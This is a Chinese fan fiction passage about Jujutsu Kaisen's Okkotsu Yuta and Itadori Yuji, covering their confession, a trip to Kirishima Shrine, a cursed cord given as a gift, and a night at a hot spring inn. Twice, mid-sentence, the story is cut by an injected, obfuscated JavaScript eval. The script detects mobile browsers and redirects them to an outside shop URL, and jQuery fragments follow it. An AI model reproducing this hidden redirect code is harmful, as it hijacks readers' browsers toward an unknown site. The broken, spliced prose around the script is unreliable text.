孩子会被意外夺走性命,亦或者在谎言与欺骗的推动下毫无意义地死去。恶贯满盈的人能在监狱里寿终正寝,没那么好也没那么坏的人能心安理得地隐去做过的错事,在佛像前祈求自己能够去往极乐之地。
乙骨忧太凑到了他的耳边,低语:“祂们才不在乎这些。祂们听着,然后什么都不管。”
可是,他们是人啊。因为没办法变得自私,所以连傲慢都不是纯粹的,所有的选择都犹犹豫豫、摇摆不定,好不容易狠下心来做出了抉择,又因对被牵连到的人感到歉疚而只能独自咽下苦涩的痛苦,逼迫着自己继续前进。
谁会喜欢这样的人生?
说是天性如此......可那些宛如暖阳般灿烂的笑容、激动时浮上脸颊的浅红、望向自己时蜜糖一样柔软的眼眸又是什么?
凭什么他不能永远笑下去?
“就到这里吧,悠仁,”乙骨忧太向后退开了一些,双手搭上了他的肩膀,可虎杖悠仁却依旧觉得难以呼吸,“为什么不能多看看我呢?”
他的语速越来越快,扣住虎杖悠仁肩膀的力道也越来越大:“我们才是......永远的家人不是吗?!其他人的人生什么的,怎样都好吧?!”
虎杖悠仁的眼睛瞪大了一瞬,随即软下了目光。乙骨忧太极少会说这样任性的话,甚至情绪激动到口不择言。
人真是奇怪又复杂的生物。在顾虑他人的时候觉得自己没办法变得真正自私起来,而一旦涉及到自己所有欲望的源头,又能彻底变成另一幅模样。
但是虎杖悠仁知道他并不是真的这样想。也许那些自私、阴暗、自我主义至上的想法真的曾经在两个人的心里出现过,但虎杖悠仁明白“其他人”——或者说同伴在乙骨忧太心中同样很重要。
他只是很不安。
又太过在意他。
所以虎杖悠仁扑上去抱住了乙骨忧太:“我知道啦。忧太,谢谢你喜欢我。”
鼻尖嗅到了熟悉的味道,乙骨忧太比他稍微高一些,但这个拥抱的高度正好。
因为感受到自己被人深刻地爱着,所以这份不断前进的勇气不会成为沉重的拖累。令人苦闷的愁绪也被温暖的情意冲散,它们还在,但已经无法再让人望而却步了。
“我一定要祓除所有的‘诅咒’。也许没有诅咒和咒灵的世界也不会像我想象得那样美好,但我绝对不会后悔。”有什么牢牢缠在他身上的枷锁断开了,从此时此刻开始,这个梦想真真正正成为了他的所有物,他的一切执念与期许将完全掩盖住悔意和自责,将之化为人生理想来郑重对待。
再没什么可以动摇它。
乙骨忧太完成了这个拥抱。他紧闭着双眼,将脸埋入粉发少年的颈肩。他感觉到虎杖悠仁的手指插入了自己的发间,不轻不重地按压着。
“抱歉呐,忧太,”虎杖悠仁说,“之后我们就一直在一起吧。”
乙骨忧太深吸了一口气。
他们艰难地分开了,乙骨忧太至少还记得需要去楼上解决被褥的问题,于是关了一楼的灯,拉着虎杖悠仁的手腕将人带上了楼。
二楼走廊的灯似乎是新换的,是明亮的白色。
“为什么要在里香那里放被褥啊?”虎杖悠仁奇怪地问。那个空间似乎还能变得更大,除了一些基本的生活用具之外,剩下的地方塞满了咒具。
乙骨忧太解释道:“之前我为了节省时间干脆直接住在山里,隔几天才下山回到临时住所,所以那个时候往里香那里寄存了很多东西......说起来还有露营帐篷之类的来着。”
他看了看开心地绕着虎杖悠仁转圈的白色式神,手下将两床被褥整理在了一起,嘴角微微翘了一下。
不论是高专的校长、老师还是同期们都曾问过乙骨忧太,他们说“你以后有什么打算吗?”言下之意不过都是在说“你的人生不应该完全和另外一个人捆在一起”,除了虎杖悠仁和战斗,他应该找到一些其他的人生目标,亦或者是短时期想要完成的梦想。
乙骨忧太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378240|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不这么认为。他所有的满足感都能够通过酣畅淋漓的战斗来达成,也许未来会对某些事情产生兴趣,但现如今在战斗中获得的自我肯定已经足够。至于悠仁......他想象着粉发少年大步奔向理想,不会因此痛苦也不会觉得苦闷,脸上一定要带着闪亮的笑容才行。
垂头的时候有一些黑色的碎发掉了下来,在视野中晃来晃去。乙骨忧太理顺它们,摸了摸自己的额头。
......还是先不跟他说了吧。虽说只是穷途末路时才能用得上的方法,不过要是说了肯定会惹他生气的。
“......”虎杖悠仁抱着枕头,有点犹豫。
“怎么了?”
大概是粉发少年频繁移动、露着一些不太确定的目光太过令人在意,乙骨忧太没忍住,开口问道。
虎杖悠仁没说话,盘着腿坐在榻榻米上,将下半张脸埋到了胸前的枕头里。
“到底......难道你想玩枕头大战吗,悠仁?”
乙骨忧太觉得虎杖悠仁想玩的话倒也没什么,反正就他们两个人,最多再加上一个里香,没有人会觉得他们这样的行为太过幼稚。
虎杖悠仁眨着眼睛大声反驳:“我才没有啊......嗯......总之,我们现在的关系——”
他抿着嘴,觉得脸庞有点烧得慌,于是在体内的火焰烧穿皮肤之前噌地站起身想要落荒而逃,却被反应极快的乙骨忧太拦住了去路。
他面对着卧房的推拉门,看着他们的影子亲密地贴在了一起,乙骨忧太的声音从耳后清晰地传了过来:“悠仁,你真是意外的纯情诶。”
虎杖悠仁没敢回头,轻轻挣动了一下被握住的手腕:“......我要去洗漱。”
身后的人松开手,将他放了出去。
关上浴室的门,虎杖悠仁背靠着冰凉的瓷砖让升腾的热量赶快降下去。他试图给胀相发消息,但没有回复。这么看来九相图们估计已经被圈进了结界,手机讯号被隔绝所以才无法联系上他们。
面对喜欢的人,当然要大胆地表达爱意。这话虎杖悠仁曾经深信不疑,并且现在也坚信着他应该这样做。可现实总是令他猝不及防,一旦明晰了自己的心意,就会开始不由自主地在意那个人的一举一动,因为日夜相伴而看腻的外形轮廓也在眼中被视线勾勒出了不太一样的线条......会对稍显亲密的动作感到恐慌和紧张,心脏跳得极快,还有些发毛似的痒意。
他很熟悉这种感受,曾经因为不明所以而选择了远离让自己有点害怕、不知道如何面对的这种感情的源头,还闹出了一些误会。
虎杖悠仁将手摁在了心脏上方,感受着掌心传回的震动。
现在要怎么办啊......喜欢的心意已经多到装不下了,这样下去......
一条走廊之隔,乙骨忧太也将脸埋进了自己的双手中。他为什么会说出那句话的啊——简直就像是在调情一样嘛!!!反应过来的时候就已经脱口而出了,放手之后立刻被可怕的羞耻感吞没,以至于现在他根本不敢从手中抬起头来。
可他的确渴望着一些更亲密的接触。关系再好的人之间也留有各自喘息的空间,而跨过那道界线代表着自己被彻底地接纳了,主动将自己最隐秘的那一面展现了出来。说不定他一直期待着,有一天能够将他的爱、他的心全然交给另一个人,被信赖着、被依靠着。
直到关上灯,他们都默契地没有再说话。
“要握着手吗?”
黑暗中,虎杖悠仁的声音响了起来。
没等乙骨忧太回答,他的手就伸了过来,摸索着捉住了尚未完全被焐热的手掌。乙骨忧太的手指很长,常年握刀让他的掌心生了一些硬茧。他闭着眼睛放松身体,用拇指在虎杖悠仁掌心相同的位置摸来摸去。
“好痒啊。”身旁的人嘟嘟囔囔地抱怨。
从手心到指骨,虎杖悠仁逐渐适应了这样下意识地揉弄,乙骨忧太的力道控制得很好,习惯了之后他很快就有点昏昏欲睡。
“忧太的手真的会有魔力诶......”
和吹头发时按摩头皮的感觉太像了,那种让人放松的触感催动着虎杖悠仁坠入梦境。
过去几天里他的睡眠总是断断续续、昼夜颠倒,这两天更是根本没有合眼,唯一算得上休息的就是被乙骨忧太带着从涩谷逃跑,还有乘车到鹿儿岛来的这段时间稍微睡了一会儿。因此在这个安全的住所,躺在最信赖的人身旁,他难得好眠。
乙骨忧太凝视着天花板。
高专帮他准备的临时住所更接近高千穗峰,现在他们所在的这处住宅要上山的话还是有一段距离的。要不然明天先去雾岛神宫看看?之前他一心上山找诅咒,没来得及去那边。
以后还是问问伊地知先生关于驾照的问题吧,没有车子的话在乡下通行实在不太方便......明天去看看能不能借到自行车好了。
脑袋里的各种想法活泛地乱跑,但乙骨忧太也难得迅速地入睡了。
102. 第 102 章
昨晚没人留意他们究竟是什么时间躺下的,总之第二天他们起了一个大早。虎杖悠仁醒过来的时候身边的铺位已经空了,门外的浴室传来了洗漱的声音。
完全不想摸手机,所以他横着打了个滚,从乙骨忧太尚带着温热的被褥上滚了过去,来到了窗户旁边爬了起来。
“诶......不愧是雾岛,天气好差。”远望他们今天的目的地,天空低沉得好像伸手就能够得到一样,厚重的云层将山顶吞了进去,林间大概也满是雾气吧。
“这里总是下雨,山上也很容易起雾,”乙骨忧太的发尖还带着水滴,“我们先去雾岛神宫吧。”
虎杖悠仁疑惑地转身:“不直接去山上吗?”
“就当陪我去看看吧,悠仁。”
乙骨忧太这样说,所以虎杖悠仁没有拒绝。
他们没什么要带的东西,就算晚上回不来,里香那里也存着露营用的一应物品。虎杖悠仁觉得小时候在森林里的经历影响了乙骨忧太,所以他总是习惯性地将这些东西提前备好吧。
但是一些最基本的东西却不太适合总存在里香那里,毕竟人多的时候也不好叫它出来,所以他们在便利店里买了两个印着宝可梦图案的背包应急,装上了水、饭团和香肠,买了三明治当做早餐。
幸运的是这家便利店提供自行车租赁服务,不过坏消息是只剩下了最后一辆。
便利店老板收了他们的押金,表示如果愿意多付钱的话也可以直接将车买下。
“不知道你们看不看得见,总之樱岛那边的那玩意儿看着太吓人了,我准备把这家店卖掉回老家,或者找个看不见它的地方重新开始。”
乙骨忧太和虎杖悠仁对视了一眼。为死灭回游圈定范围的结界已经远超“帐”的范畴,因此一部分非术师也能看到它们,尽管仍有无法意识到结界存在的普通人,但政|府已经针对结界周边地区的居民发出了避难预警。
他们最终还是买下了这辆自行车。
虎杖悠仁坐在后座上吃着三明治,一路上人很少,所以他们这略显怪异的出行组合没有引起任何注意。
“不管去哪都能看到它们的吧?我们离樱岛也不算近,居然还能看到,”他凭借出色的平衡能力完全放开了双手,边吃边说,“简直变成地标之类的东西了。”
乙骨忧太的声音被风从前面带了过来:“因为面积太大了吧?而且太高了。”
东京有两个结界,按照电视新闻中的报道,幸免于难的只有奥多摩町的村镇、青梅市、秋留野市、八王子市、町田市的一部分,以及东京都内各岛屿。
樱岛的这个结界实际面积也比他们预想的要大得多,将整个樱岛和附近的海湾以及鹿儿岛市的一部分全都囊括了进去,结界边缘离雾岛市的港口也很近。
他们在半路换了位子,虎杖悠仁一路蹬着脚踏车来到了雾岛神宫的脚下。自行车被锁在了一家茶屋外,他们和老板打了招呼,善良的老板同意了他们的请求。
剩下的路就用双脚亲自走过,虎杖悠仁看着道路两侧直冲云霄的高大杉树,远看还不觉得有什么特别之处,可当他亲自来到树荫之下的坡道上时,能感觉到始终挥之不去的雾气。
道路两旁的树木笔挺,看着排布稀疏,头顶的枝叶也并未完全将天光遮住,可就是会让人无端觉得周身变得阴暗潮湿了起来,再加上脚下始终湿漉漉的路面,更有雨后漫步林间的感觉。
虎杖悠仁昂着头,感叹道:“和村子里的森林完全不同呢。”
乙骨忧太正在整理背包,闻言附和着说:“是吧?这边总给人一种寂静的感觉,明明也能听到不少声音,但总会下意识地让我觉得这里很安静。”
就算雨下个不停也不会觉得吵闹。
真是不可思议。
雾岛神宫的神苑面积很大,通往社务所、神乐殿、本殿之类的地方都有单独的通路,每处建筑旁都设有独立的停车场,不过更多的参拜者都是像他们一样步行过来。
这个季节的森林颜色最为丰富,到不了深秋时的全红,远山夹杂着不退的绿和新生的黄。道旁的水槽中不断有蒸汽腾起,虎杖悠仁试了试水温,果不其然是热乎乎的。升腾的蒸汽被风吹散,逐渐与林间的雾气融为了一体,让树影更加朦胧,仿佛走入了什么远离世俗之地一般。
“来拍照吧,悠仁。”
虎杖悠仁转头,看到了熟悉的相机。
“这东西居然还在吗?”他惊奇地说。
乙骨忧太摇了摇头:“只是样式像而已,原本的那一台已经找不到了。”
也是,当时教会的建筑被毁成了那个样子,就算能找到也应该损毁得差不多了吧。
虎杖悠仁站在石阶上,身后就是朱红色的鸟居,乙骨忧太站在下方调整着取景框。因为一时想不出要摆什么样的动作才好,所以虎杖悠仁挑了一个最不会出错的剪刀手,笑着比了一个耶。
他们凑在一起等待相纸上的图像显色,然而看到成品之后虎杖悠仁有点遗憾地说:“呜哇——表情好僵硬......”
倒也不是很紧张,只是表情看起来终究没有那么自然。
“没关系,”乙骨忧太将相片收了起来,安慰道,“只是没放松下来,习惯了就好。”
虎杖悠仁认同了他的说法。也许是最近的这段时间总是绷紧神经,骤然来到了一个放松、与过去的生活环境差别极大的地方,一时难以松懈下来吧。
他们在木板搭成的观景台上见到了一只猫。
太过熟悉的花色让他们两人都不由自主地停下了脚步。虽然心里明白那不可能是同一只,但它们长得实在太像。虎杖悠仁蹲在平台的台阶下面,让视线与警惕地盯着他们的猫咪持平,试探性地伸出了手。
猫咪甩着尾巴,头也不回地跳下了观景台。
“啊,跑得好快......”乙骨忧太手里还举着刚刚打开包装的香肠。
没办法,他们只能一人一半解决了这根香肠。
来参拜的人很多,甚至在拜殿前排起了长队。这里似乎并不受外界的影响,又或者来到这里的人全部遵循着特殊的默契,将针对外界的一切忧虑埋在心底藏好,只需要将真诚的祈愿念诵给神明听就好了。
成片的高大杉树挡住了远方的漆黑结界,虎杖悠仁和乙骨忧太不准备去参拜,所以只是去绘马架附近逛了逛。这里也有一棵树龄不知多少年的巨木,表皮的纹理带着古老而陈旧的气息,虎杖悠仁绕着它走了一圈,不知道看着它在想什么。
好在很快他便向乙骨忧太解释道:“每次看到这种跨过了很长时间才来到我们面前的东西,我都觉得好神奇。只是看着就能感受到时间的重量......”
不存在实体形态的概念附着在了树木、建筑之类的东西身上,并在它们那里留下了专属的痕迹,让人看了就知道还有一些别的什么附加在了上面,厚重而神秘。
他们默契地越过了一些不合时宜的话题,绕过壮丽的神宫本殿继续向后方的高千穗峰方向前进。乙骨忧太带着虎杖悠仁绕过了寻常上山的登山口,深入了森林。
林间稀薄的雾气尚不至于让人迷失方向,可是寻找诅咒的过程却并不顺利。乙骨忧太已经取出了之前剩下的材料,寻找诅咒的任务交给了咒力感知更敏锐的虎杖悠仁,他自己则跟在粉发少年的身后,还有心思低头摆弄手里的东西。
“你从刚才开始就一直在干嘛?准备绳子吗?”虎杖悠仁终于忍不住问了出来。
森林里的道路并不好走,雾气和潮湿的水汽让他们脚下变得泥泞湿滑,乙骨忧太一心二用的行为让虎杖悠仁频频回头看他。
“在准备你的生日礼物。”乙骨忧太回答。
“......多少看着点路啊,”虎杖悠仁把头转了回去,“不然叫里香出来吧。”
这样至少不用担心他会因为分神而受伤,尽管这样的几率很小,但实在没办法苛求虎杖悠仁不去过度在意乙骨忧太的安全。而且......明明离他的生日还有很远呐。
乙骨忧太轻轻搓了搓手中的绳结,比起黑绳来说它细得过分,一看就像是用于穿挂饰品而非战斗。
“只是在做那个东西的时候突然出现的灵感,当时没有空闲的时间尝试......在坐车来雾岛的路上大概编出了这么多,真是比编黑绳简单多了。”
虎杖悠仁停下了脚步,回身看他。
乙骨忧太有些无奈地抱怨道:“我本来想着既然这么简单那就等到你生日之前再开始准备也来得及,但是临到头却觉得根本等不下去。”
他的坦诚让虎杖悠仁也直白地问:“那个绳子......?”
乙骨忧太小的时候曾无意中在虎杖悠仁身上留下了咒印,如今跟着部落的老人学习了将诅咒编入绳索中的技法,自己摸索着将它改造了一番,变成了现在寄宿着名为“乙骨忧太的诅咒”的红绳。
虎杖悠仁从自己的脖子上将旧的那一条勾了出来,木制勾玉上还带着温热的体温。他将其从绳子上解了下来,递给乙骨忧太。
“其实......”他的话在嘴边犹豫着,最后还是悠悠飘到了乙骨忧太的耳朵里:“绳子总归是有可能断掉的吧。”
乙骨忧太听懂了他的言外之意。
可是他却摇了摇头,拒绝了虎杖悠仁难得大胆的邀请:“不行。”
“为什么?”
黑发少年的指尖翻飞,将看着有些年头的勾玉饰品重新串到了新的绳子上,迅速完成了最后一部分。他向前走了两步,站到了虎杖悠仁的身前。
脚下枯枝被踩断的声音清脆极了,虎杖悠仁听到了衣物在耳畔摩挲的声音,未被驯服的绳索还有一些僵硬,后颈能感受到满是凉意的指尖蜻蜓点水般触碰到皮肤。
绕到脖颈后的双手收了回来,调整着勾玉的位置。
虎杖悠仁微微低下头,看到站在身前的人垂着眼睛说:“因为我想保护悠仁。”
因为视他为无二的珍宝,简
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378241|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单直白地喜欢着他,却不想让他成为谁的所有物......他不会再诅咒任何人了。
“但是,我们——”
乙骨忧太未说完的话被手掌堵了回去,虎杖悠仁从他手中取回勾玉塞入了自己的领口,新绳子摩擦着皮肤,带来陌生的触感。
诉说的爱与憎恶都会被咒术扭曲,执念会在咒力的催化下疯狂生长。若说那些浓厚到随随便便就能压垮一个人的情感不是诅咒,大概只有最天真的家伙会相信吧。更不用说......爱。
纯粹的感情带来了痛苦,也带来了远超常理的执念。
虎杖悠仁隔着胸口的衣物摸到了勾玉的形状。
“......谢谢你,忧太。”
他们在山顶见到了传说中的天之琼矛。石堆中插着的铁器已经锈迹斑斑,虽然只是不知道更换的第几代象征物,但在咒术师们的眼中,它已经开始向着咒具的方向缓慢发展了。
“和我们手上的诅咒是同源的诶,”虎杖悠仁指着它表面附着的诅咒说道,“它会变成第二个天逆鉾吗?”
“也许有可能吧,但我觉得可能性不太大,就算能成,那也会是几百年后的事情了。”
信仰和传说已经渐渐从人们的心中淡去,勉强在高千穗峰上游荡的诅咒恐怕也会像制作黑绳的诅咒一样,在某一天自然而然地消散。
现在这个天之琼矛就只是一个代表成功登顶的象征,沉默地凝望攀登至此的游客和绵延的城市图景。
天逆鉾的最后一任主人此时正坐在高专的地下室里,唯一发出光亮的电视机播放着赛马转播,而观看它的人百无聊赖地打了个哈欠。
“只是看着有什么意思啊,”伏黑甚尔无聊地说,“禅院家好歹也是御三家,难道那老头没把财产都给你吗?”
伏黑惠在等禅院真希,他要先和她一起回一趟禅院家,除了处理家主继承的问题之外,京都校的禅院真依似乎在回家之后就没了消息......这也是禅院真希执着于要回去一趟的原因。
老实说,他觉得这个家主的位置带来的烦心事也许会盖过这个名头本身的意义,但是有的时候,只是一个名字、一个位置就可以让他避免更多的麻烦。循环往复权衡着利弊,长大之后很少能再有“谢谢”就可以换来的恩惠。
“就算有也落不到我手里吧,”伏黑惠看着手机中众人发送的信息,其他前辈和咒术师们已经各自提前出发,按照事先约定好的方案行动,“我又不是五条老师。比起这个,不如稍微担心一下你自己吧?”
伏黑甚尔依靠着特殊的肉|体天赋使尾神婆的降灵术失去了控制与结束时间,他现在的状态更像是咒物受肉,只不过多了一个无法自主停止术式的施术者。
“管那么多干什么?那老太婆不是跑得没影了吗?”伏黑甚尔看起来一点也不在乎,就算尾神婆因为无法继续使用术式而想要找人干掉他这个异端分子,那也得看她做不做得到,再说她也算是半截身子入土的家伙了,与其费心费力还不如就这样安享晚年算了。
伏黑惠:“如果她真的死了呢?那样的话术式也不会结束吗?”
“谁知道,”伏黑甚尔晃着啤酒瓶,“人死过一次之后就会看开很多,这样的奇迹......呵呵,‘奇迹’啊。”
他终于歪着头看了一眼伏黑惠。
“......这么看着我做什么?”
“哼,没什么。”伏黑甚尔将空掉的酒瓶放回了桌面上,站起身拉伸了一下。
跟她长得真像。
“走了,惠!”禅院真希拿到了收藏在组屋鞣造工坊里的咒具龙骨和释魂刀,送他们去禅院家的辅助监督也已经到了。咒具还像往常一样暂存在了伏黑惠的影子里,听说他自己还要承受相应重量的伏黑甚尔开始怀念起他那个拥有存储空间的咒灵来了。
术师杀手将自己塞进副驾驶之后就开始闭眼休息,坐在后排的禅院真希问道:“你姐姐那边没问题吧?”
“暂时没问题。学校离那几个结界都很远,我也已经叮嘱她不要靠近那边,实在不行就想办法送她出国好了。”伏黑惠答道。
没什么牵挂的咒术师们各自奔赴前线,当然也有需要先安置家人的人,像是一早就乘车回老家的钉崎野蔷薇,她祖母家正好在结界附近,联络又中断了,所以只能先回去看看情况。如果确定她家所在的范围被结界覆盖,那就需要另想办法了。
“这样啊,”禅院真希撑着下巴,伏黑惠知道她在为禅院真依担心,“宪纪也匆匆忙忙地走了,也没说要回家做什么。”
“我记得加茂学长的母亲已经脱离家族了吧?”
“所以我才觉得他那副急匆匆的样子很奇怪啊,”她叹了一口气,“希望没有什么节外生枝的事吧。”
伏黑惠也不再想别的事。他只在小的时候去过禅院家,当时有五条悟在所以什么都不用担心,这一次还不知道会遇到什么事。希望像禅院真希说的那样,不会有什么棘手的问题吧。
103. 第 103 章
乙骨忧太和虎杖悠仁回到了山下,此时天色渐晚,茶屋的老板建议他们可以直接去对面的温泉旅馆。
“现在去还会有房间吗?”虎杖悠仁对此表示怀疑,一般较为热门的景点周边如果不预约的话都很难临时找到合适的房间,就算最近因为樱岛结界的事......
“总之,先去看看吧。”反正就在对面,就算没有房间也没关系,乙骨忧太决定去温泉旅馆看一眼再说。
确实还有空房间。
这家温泉旅馆门面很朴素,帘子上绘制着这家店的标志,走廊和房间都是日式的装修风格,暖黄的光影看起来朦胧又柔和。
“哦!好大!”推开障子门,虎杖悠仁看着宽敞的房间发出了感叹。
带他们过来的店员去准备晚餐,虽然时间已经很晚了,但她看上去没有不情愿的意思。从这家店的装修来看似乎是最近刚开业,找到这里的大多都是预订的酒店临时出现变动或行程突然、其他旅馆客满的游客。
虽说是新店,但虎杖悠仁觉得这里应该很快也需要预订才能入住了吧。
“装修得这么上心,居然没有在网络上宣传吗?”乙骨忧太检查了一下障子门,看上去只是最普通的纸质推拉门,在隔音上估计并没有什么用处,不过房间内另有玄机。
房间被分断成了两个部分,外层铺满了还散发着干草香的榻榻米,上面有矮桌和坐垫,真正入睡的卧房在更内部,被绘制着水墨山水图的推拉门分隔了出去。
不知道他们是怎么做到的,经过两道门和一个空间的隔断,待在卧室里时真的很难再听到其他房间的杂音。卧房连通着缘廊,每个房间都有被隔开的小院子,植被被精心打理过,看上去赏心悦目。
“要去温泉浴场吗?”
夜风吹起了挂在缘廊屋檐的风铃,虎杖悠仁将背包妥善放好,随即回应道:“好哦。”
狱门疆被藏在了里香的存储空间里,不会有任何问题。
他们去了露天浴场,人不多,交谈声大多也被晚风和温泉水涌动的声音遮住了。
虎杖悠仁没有摘掉项链。新绳子的颜色看起来有些太过鲜艳了。他趴在池子边,隔着蒸汽望向水中被汤池水扭曲的勾玉。新绳子被编入了“诅咒”,寻常手段不会侵蚀它的外表。
“被咒术师常年使用的武具也会变成咒具,”虎杖悠仁盯着水面,“虽然听说过,但它也只是每天挂在我的脖子上,这样也会有变成咒具的可能性吗?”
“也许是常年不自觉地沾染了咒力的缘故吧。”乙骨忧太抬起自己的手,虎杖悠仁做的那枚勾玉也有了这种迹象。术师灌注了咒力与术式的武具、曾经杀死了强大术师或诅咒的杀器、连环杀人或锻造过程骇人的凶器都有成为咒具的潜力,它们寄宿着使用者或被杀害之人的诅咒。
虎杖悠仁翻了个身,将身体完全沉入水中,只露出了下巴以上的部分。待在水里的感觉和他使用术式时很像,身体会变得像羽毛一样轻盈,那时风就会从各种地方钻入他的衣服里。
“你什么时候开始编绳子?也教教我吧。”
粉发少年靠过来的动作带起了阵阵涟漪,摇荡的水面在皮肤上留下了惊人的痒意。乙骨忧太刚把头转过去准备答应他,结果看到虎杖悠仁似乎在看着他发呆。
“......?悠仁?”
乙骨忧太的声音和他本人给人的印象差不多,连认真起来之后的反差也很像。平日里温和地叫虎杖悠仁名字的时候总让他觉得被声音触动了心弦一般,让那颗心脏不由自主地狠狠跳动起来。
“没......就是,”热气腾腾的汤池水模糊了视线,却怎么也压不住被框在视野正中的那个人,虎杖悠仁扬了扬头,理直气壮地说,“我想知道你是怎么看我的。”
乙骨忧太睁大眼睛:“诶?怎么突然......?”
粉发少年凑得更近了,有种不得到答案就不罢休的劲头,发尾已经被水汽浸湿,变得亮晶晶的:“你说说看嘛!”
看着乙骨忧太略显苦恼地眯起眼睛,虎杖悠仁为自己找补:“会在意自己在喜欢的人眼中是什么样子也很正常的吧?是的吧?”
“倒不是有什么问题,只是悠仁你问得太突然啦——”
“第一反应呢?!”
“我觉得这种问题应该好好思考之后再回答诶......不过第一反应啊——”
乙骨忧太的脑海里浮现出在黑暗中见到的那束光。这是个颇为俗套的比喻,不过对于那时沉浸在恐惧中的乙骨忧太来说,如同滚烫蜜糖般的琥珀眼眸已经成为了永远不会褪色的回忆。
一遍遍的回想只会让它们变得愈发鲜活。
“勇敢......的人?大概是这种感觉吧,”乙骨忧太笑意盈盈,“当时我在想这世界上怎么会有这么不要命的家伙,为了别人去和怪物战斗......我很羡慕。”
乙骨忧太的话勾起了虎杖悠仁的记忆,顺着记忆的尾巴向前摸索,他发现自己和乙骨忧太对那场相遇印象深刻的部分不尽相同:“其实那个时候我完全吓坏了,说是战斗,其实只是虚张声势,之后不是和忧太你一起狼狈地逃跑了吗?”
他记得那场逃亡尽头的草坡和阳光,鼻尖嗅到的草叶香气依旧鲜明,以及激烈狂跳着的心脏。
“我没有这样的勇气,所以完全被悠仁吸引了呢。”
乙骨忧太额前的黑发同样被蒸汽打湿,服帖地垂了下来,看上去更像他小时候的模样。
虎杖悠仁的视线乱瞟,咕哝着:“好吧。”
乙骨忧太有点好笑地看着他:“当然啦,现在悠仁很帅气哦。”
“......你是故意的吗,忧太?”
“不是哦。”
“那好吧,”虎杖悠仁眼睛一转,转移了话题,“那你能教我编绳子吗?我也想给你编一条新的手链。”
乙骨忧太不打算让他轻而易举地跳过刚才的话题,紧追不舍:“你已经得到我的答案了,悠仁,你也要给我你的答案才行啊。”
这倒是不会让虎杖悠仁觉得为难,没有过多犹豫就脱口而出:“我觉得你是个很温柔的人。”
还有就是超级帅气。这句话虎杖悠仁留给了自己,没有让它落入任何人耳中。
在他心里当然不止这一个词能够描述乙骨忧太,不,应该是有很多很多能够用来拼凑出“乙骨忧太”的词汇,但如果让他选一个的话,那就只有这个词会一跃而上蹦入脑海中。
乙骨忧太哈哈轻笑了两声:“我可真是幸运。”
这话有点莫名其妙,前言不搭后语,让虎杖悠仁歪着头摆出疑惑的表情。
然而黑发少年却果断地不再解释:“等晚上我们回去就教你。”
虎杖悠仁点点头,拨弄着他自己在水面上错位的倒影,语气如常:“我想要你那里剩下的宿傩手指。”
他听到身侧的黑发少年呼吸一窒,但他心意已决。
“好吧,”乙骨忧太同意了,“哪怕放在里香那里你也能感知到它们吗,悠仁?”
那只是一种模模糊糊的感觉,勉强称得上是“容器”与咒物之间的共鸣。
“如果我吃掉你手上的这几根,再加上里梅手里的......如果她找齐了剩下的四根,应该就是全部了。”
虎杖悠仁沉声道。
“五条老师那里还保存着一根,那个叫里梅的家伙手里的手指数量应该没有你想象的那么多,”乙骨忧太也压低了声音,“悠仁,真的没问题吗?”
虎杖悠仁本来想让自己信誓旦旦地说出“没问题,放心好了”之类的承诺,只是看到乙骨忧太关切的目光,他就下意识变得没那么坚强:“只要里梅手里还有手指在,她就可能随时让宿傩受肉......如果他愿意的话。我也不知道宿傩为什么拒绝占据我的身体,但他拥有手指的数量和我拥有的意义是不同的。”
这一点他们两人都心知肚明。
就算只有四根手指,他们也不清楚宿傩究竟能够达到什么样的实力。
“先不想这些了,”乙骨忧太说道,“下次见到她,我们两个人一起彻底解决掉这个麻烦。”
“嗯。”虎杖悠仁应声。
从高千穗峰附近找到的诅咒被他们封印在了一个临时的容器上,这是乙骨忧太从组屋鞣造那里偷学过来的方法,与制作咒具的技法大同小异,再在需要的时候将诅咒编入准备好的绳索中。
虎杖悠仁学得很快,仅仅只是在刚开始试着摆弄那些纤细的材料时有些生疏,可一旦做得多了,手感就会慢慢上来,速度也不断提升着。
他趴在榻榻米上铺好的被褥上面,时不时拉过乙骨忧太的手腕测量长度,而乙骨忧太则在赶制黑绳。这已经是他第二次做,所以速度更比第一次快了不少。
“等做好了黑绳,”虎杖悠仁正拿着编入了自己咒力的绳索圈套着乙骨忧太的手腕,突然开口道,“我们就去薨星宫。”
“你来决定。”乙骨忧太说。
虎杖悠仁抬起头瞟了他一眼,一个翻身躺倒在他的腿上,将进入收尾阶段的绳链放在充满暖意的灯光下左看右看。
“我做出来的不是红色的。”他有些不解地看着呈现出深色阴影的手链,又从领口里勾出乙骨忧太做的那条出来对比了一番。
“和我们各自的发色很配呢,”乙骨忧太将手腕放到了自己的脑袋旁边,又点了点虎杖悠仁脖子上的红绳,“我很喜欢哦。”
“你也太会安慰人了。”
“我只是坦诚而已。”
虎杖悠仁撇嘴:“好吧,坦诚。”
他眨着眼睛望向天花板:“今年我十六岁,你十七岁。”
乙骨忧太语出惊人:“高专的大家都知道我们是恋人了哦。”
“这话听着还真是有点羞耻诶,”虎杖悠仁似是突然想到了什么,带着点笑意说道,“你还记得做鬼屋的那一场文化祭吗?那个时候我碰到伏黑——现在想想他应该是误会了啦,不过他还说你不是会在乎年龄的那种人来着。”
眼前的光忽然被人影挡住,虎杖悠仁怔愣了一下。
乙骨忧太什么都没说,只是沉默地垂着头看他。最终,他也只是直起身子,推了推躺在他腿上的虎杖悠仁:“悠仁先去睡吧。”
“......就这样睡不行吗?”
